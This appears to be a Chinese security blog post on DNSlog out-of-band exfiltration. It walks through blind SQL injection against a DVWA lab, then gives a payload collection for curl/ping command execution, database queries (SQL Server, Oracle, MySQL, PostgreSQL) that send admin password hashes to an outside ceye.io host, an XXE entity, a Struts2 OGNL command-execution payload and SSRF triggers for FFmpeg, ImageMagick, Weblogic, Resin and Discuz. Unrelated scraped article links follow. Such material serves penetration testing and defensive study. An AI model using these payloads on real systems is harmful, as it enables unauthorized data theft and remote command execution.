dnslog小技巧
一、dnslog利用场景
主要针对无回显的情况。
- Sql-Blind
- RCE
- SSRF
- RFI(Remote File Inclusion)
二、原理
将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

三、案例展示
1.sql盲注
- 普通的注入
输入1' and '1'='1,查询成功,1' and '1'='2查询失败,结果为空


输入 1' or '1'='1 查询成功

综上,存在注入,字符型。
使用 order by 猜解出来字段为2。


显位,输入 1' union select 1,2 #

输入 1' union select user(),database() #获取当前用户及数据库

就不继续往下了,但盲注是不显位的,除了我们常规的猜数据库长度,二分法猜每个字母 acsii码 值外,就能用到dnslog了。
- dnslog用于盲注
判断注入
输入 1, 2, 3, 4, 5 ,显示存在;
输入1' and '1'='1,显示存在;
输入1' and '1'='2,显示不存在。


存在注入,字符型。
这里就不用判断字段了,判断字段是为了后面显位。
这里直接使用 dnslog 平台的二级域名 0ox095.ceye.io。
输入如下查询数据库,然后到dnslog平台查看:
# dns查询有长度限制,必要的时候需要对查询结果做字符串切割。
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
?id=1' and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+
&Submit=Submit#

其中 and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+
解释如下:
- and 连接符,测试用 or 也可以
- if(x,1,0) 如果x为真输出1,为假输出0,在此不重要,主要是将 x带入数据库中,然后得出的结果进行dns解析成 dvwa.0ox095.ceye.io
- select 查询
- load_file() 读取文件内容
- concat 拼接字段,这里拼接成了 \\dvwa.0ox095.ceye.io\sql_test
- \\\\ widnows中用共享文件的时候就会用到这种网络地址的形式,而且转义问题所以前面4个\变成了2个,后面2个变成了1个,最终结果见上一行。
- select database() 查看当前数据库,查询的任何内容在此替换(如查表、字段、数据等)。
- 最后 --+ 为mysql注释,-- 后需要一个空格,用+代替。
完整流程:
# 爆数据库(mysql5.0以上版本才有information_schema数据库)
select schema_name from information_schema.schemata limit 0,1
select schema_name from information_schema.schemata limit 1,1
# 爆表(后面为数据库名或者其十六进制)
select table_name from information_schema.tables where table_schema='dvwa' limit 0,1
select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1
# 爆字段
select column_name from information_schema.columns where table_name='users' limit 0,1
# 爆数据
select user from users limit 0,1
select password from users limit 0,1
得到 admin / 5f4dcc3b5aa765d61d8327deb882cf99
2.命令执行
curl http://0ox095.ceye.io/`whoami`

win的常用变量
| 变量 | 类型 | 描述 |
|---|---|---|
| %ALLUSERSPROFILE% | 本地 | 返回“所有用户”配置文件的位置。 |
| %APPDATA% | 本地 | 返回默认情况下应用程序存储数据的位置。 |
| %CD% | 本地 | 返回当前目录字符串。 |
| %CMDCMDLINE% | 本地 | 返回用来启动当前的 Cmd.exe 的准确命令行。 |
| %CMDEXTVERSION% | 系统 | 返回当前的“命令处理程序扩展”的版本号。 |
| %COMPUTERNAME% | 系统 | 返回计算机的名称。 |
| %COMSPEC% | 系统 | 返回命令行解释器可执行程序的准确路径。 |
| %DATE% | 系统 | 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 |
| %ERRORLEVEL% | 系统 | 返回上一条命令的错误代码。通常用非零值表示错误。 |
| %HOMEDRIVE% | 系统 | 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
| %HOMEPATH% | 系统 | 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
| %HOMESHARE% | 系统 | 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
| %LOGONSERVER% | 本地 | 返回验证当前登录会话的域控制器的名称。 |
| %NUMBER_OF_PROCESSORS% | 系统 | 指定安装在计算机上的处理器的数目。 |
| %OS% | 系统 | 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 |
| %PATH% | 系统 | 指定可执行文件的搜索路径。 |
| %PATHEXT% | 系统 | 返回操作系统认为可执行的文件扩展名的列表。 |
| %PROCESSOR_ARCHITECTURE% | 系统 | 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 |
| %PROCESSOR_IDENTFIER% | 系统 | 返回处理器说明。 |
| %PROCESSOR_LEVEL% | 系统 | 返回计算机上安装的处理器的型号。 |
| %PROCESSOR_REVISION% | 系统 | 返回处理器的版本号。 |
| %PROMPT% | 本地 | 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 |
| %RANDOM% | 系统 | 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 |
| %SYSTEMDRIVE% | 系统 | 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 |
| %SYSTEMROOT% | 系统 | 返回 Windows server operating system 根目录的位置。 |
| %TEMP%和%TMP% | 系统和用户 | 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 |
| %TIME% | 系统 | 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。 |
| %USERDOMAIN% | 本地 | 返回包含用户帐户的域的名称。 |
| %USERNAME% | 本地 | 返回当前登录的用户的名称。 |
| %USERPROFILE% | 本地 | 返回当前用户的配置文件的位置。 |
| %WINDIR% | 系统 | 返回操作系统目录的位置。 |
其他payload
0x00 Command Execution
- 1.*nix:
curl http://b182oj.ceye.io/`whoami`
ping `whoami`.b182oj.ceye.io
- windows
ping %USERNAME%.b182oj.ceye.io
0x01 SQL Injection
- 1.SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
- 2.Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
- 3.MySQL
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.b182oj.ceye.io\\abc'));
- 4.PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
0x02 XML Entity Injection
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
0x03 Others
- 1.Struts2
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
- 2 FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://b182oj.ceye.io
#EXT-X-ENDLIST
- 3.Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
- 4.ImageMagick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://b182oj.ceye.io)'
pop graphic-context
- 5.Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
- 6.Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
dnslog小技巧的更多相关文章
- 前端网络、JavaScript优化以及开发小技巧
一.网络优化 YSlow有23条规则,中文可以参考这里.这几十条规则最主要是在做消除或减少不必要的网络延迟,将需要传输的数据压缩至最少. 1)合并压缩CSS.JavaScript.图片,静态资源CDN ...
- Git小技巧 - 指令别名及使用Beyond Compare作为差异比较工具
前言 本文主要写给使用命令行来操作Git的用户,用于提高Git使用的效率.至于使用命令还是GUI(Tortoise Git或VS的Git插件)就不在此讨论了,大家根据自己的的喜好选择就好.我个人是比较 ...
- 分享两个BPM配置小技巧
1.小技巧 流程图修改后发布的话版本号会+1,修改次数多了之后可能会导致版本号很高,这个时候可以将流程导出,然后删除对应的流程包再导入,发布数据模型和流程图之后,版本清零 2.小技巧 有的同事入职后使 ...
- linux系统维护时的一些小技巧,包括系统挂载新磁盘的方法!可收藏!
这里发布一些平时所用到的小技巧,不多,不过会持续更新.... 1.需要将history创建硬链接ln 全盘需要备份硬链接 ln /etc/xxx /home/xxx 2.root用户不可以远程 /et ...
- JS处理事件小技巧
今天,就分享一下我自己总结的一些JS的小技巧: ①防止鼠标选中事件 <div class="mask" onselectstart="return false&qu ...
- iOS:小技巧(不断更新)
记录下一些不常用技巧,以防忘记,复制用. 1.获取当前的View在Window的frame: UIWindow * window=[[[UIApplication sharedApplication] ...
- css小技巧(1)
1.-webkit-overflow-scrolling: touch; 解决ios滑动时无缓冲问题 2.::-webkit-scrollbar 设置ios滑动时是否显示滚动条 3.::selecti ...
- 最强 Android Studio 使用小技巧和快捷键
写在前面 本文翻译自 Android Studio Tips by Philippe Breault,一共收集了62个 Android Studio 使用小技巧和快捷键. 根据这些小技巧的使用场景,本 ...
- ios开发中的小技巧
在这里总结一些iOS开发中的小技巧,能大大方便我们的开发,持续更新. UITableView的Group样式下顶部空白处理 //分组列表头部空白处理 UIView *view = [[UIViewal ...
随机推荐
- 面试经典:链表中倒数第k个结点?如何从大量数据中找出高频词?
记录两道面试题: 题目描述: 输入一个链表,输出该链表中倒数第k个结点.(单向链表) 拿到这个问题的时候自然而然会想到让链表从末尾开始next K-1 次不就是第K-1个节点了么,但是必须要注意一 ...
- vue 条件渲染v-if v-show
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- MySQL数据库操作:“增删改查”,忘记密码重置等。
[注] 数据库的“增删查改”,参考原作者Wid:http://www.cnblogs.com/mr-wid/archive/2013/05/09/3068229.html#d11.感谢大佬们的技术分享 ...
- Postman Interceptor和postman更改id仍然无法使用的,从这里下载相同版本的postman和interceptor插件
1.postman安装: chrome://extensions/打开,把下载好的postman插件拖到里面就可以了. 2.Postman interceptor安装: chrome://extens ...
- Nginx---文档(从入门到精通)
very good http://tengine.taobao.org/book/index.html
- 用JavaScript写一个JD放大镜
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- [HCTF 2018]WarmUp
靶场首页 打开靶场后,查看源码即可看到<!--source.php--> 打开source.php页面 代码如下 <?php highlight_file(__FILE__) ...
- 每天一个Linux命令:man(0)
man man命令是Linux下的帮助指令,通过man指令可以查看Linux中的指令帮助.配置文件帮助和编程帮助等信息. 格式 man [-adfhktwW] [section] [-M path] ...
- 【LeetCode 2】两数相加
描述 [题解] 模拟高精度的加法. 用x来记录前面的进位就好. [代码] /** * Definition for singly-linked list. * struct ListNode { * ...
- Android中attrs.xml文件的使用详解
$*********************************************************************************************$ 博主推荐 ...